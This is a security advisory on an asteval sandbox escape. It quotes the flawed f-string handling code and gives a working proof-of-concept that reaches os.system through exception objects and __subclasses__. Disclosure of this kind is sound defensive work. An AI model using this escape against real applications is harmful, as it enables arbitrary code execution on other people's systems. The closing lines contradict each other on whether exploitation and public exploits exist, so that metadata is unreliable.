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GHSA-3wwr-3g9f-9gc7
No affected components available
Summary
If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.
Details
The vulnerability is rooted in how asteval performs handling of FormattedValue AST nodes. In particular, the on_formattedvalue value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:
def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
"formatting used in f-strings"
val = self.run(node.value)
fstring_converters = {115: str, 114: repr, 97: ascii}
if node.conversion in fstring_converters:
val = fstring_converters[node.conversion](val)
fmt = '{__fstring__}'
if node.format_spec is not None:
fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
return fmt.format(__fstring__=val)
The code above allows an attacker to manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.
PoC
The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:
from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
# ga
def pwn():
try:
f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
except Exception as ga:
ga = ga.obj
sub = ga(dict.mro()[1],"__subclasses__")()
importer = None
for i in sub:
if "BuiltinImporter" in str(i):
importer = i.load_module
break
os = importer("os")
os.system("whoami")
# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
pwn()
"""
aeval(code)
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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